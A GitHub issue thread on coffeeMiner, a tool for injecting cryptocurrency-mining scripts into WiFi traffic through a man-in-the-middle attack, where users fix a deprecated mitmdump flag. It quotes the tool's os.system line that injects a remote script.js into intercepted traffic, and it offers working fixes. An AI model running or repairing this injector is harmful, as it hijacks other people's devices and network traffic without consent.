arnaucube / coffeeMiner

collaborative (mitm) cryptocurrency mining pool in wifi networks
http://arnaucode.com/blog/coffeeminer-hacking-wifi-cryptocurrency-miner.html
GNU General Public License v3.0
1.07k stars 281 forks source link

mitmdump: error: unrecognized arguments: -T #28

Open IUliiu15 opened 6 years ago

IUliiu15 commented 6 years ago

usage: mitmdump [options] [filter] mitmdump: error: unrecognized arguments: -T
-T is deprecated, please use --mode transparent instead

the eror is from this code : os.system("/usr/bin/mitmdump -s 'injector.py http://192.168.102:8000/script.js' -T")

But i do not get it, can someone help?

BubbleZZ commented 6 years ago

Same issue here

sunsipeng commented 6 years ago
  1. modify install.sh pip3 install --user mitmproxy==2.0.2

  2. reexecute sh install.sh

BubbleZZ commented 6 years ago

@sunsipeng I get "Failed building wheel for crryptography" then at the end I get "Command "/usr/bin/python3 -u -c "import setuptools, tokenize;file='/tmp/pip-build-clepowqv/cryptography/setup.py';f=getattr(tokenize, 'open', open)(file);code=f.read().replace('\r\n', '\n');f.close();exec(compile(code, file, 'exec'))" install --record /tmp/pip-dolsd19y-record/install-record.txt --single-version-externally-managed --compile --user --prefix=" failed with error code 1 in /tmp/pip-build-clepowqv/cryptography/"

phphubert commented 6 years ago

Same issue here

ismailkarsli commented 6 years ago

Change "-T" to "--mode transparent" in coffeeMiner.py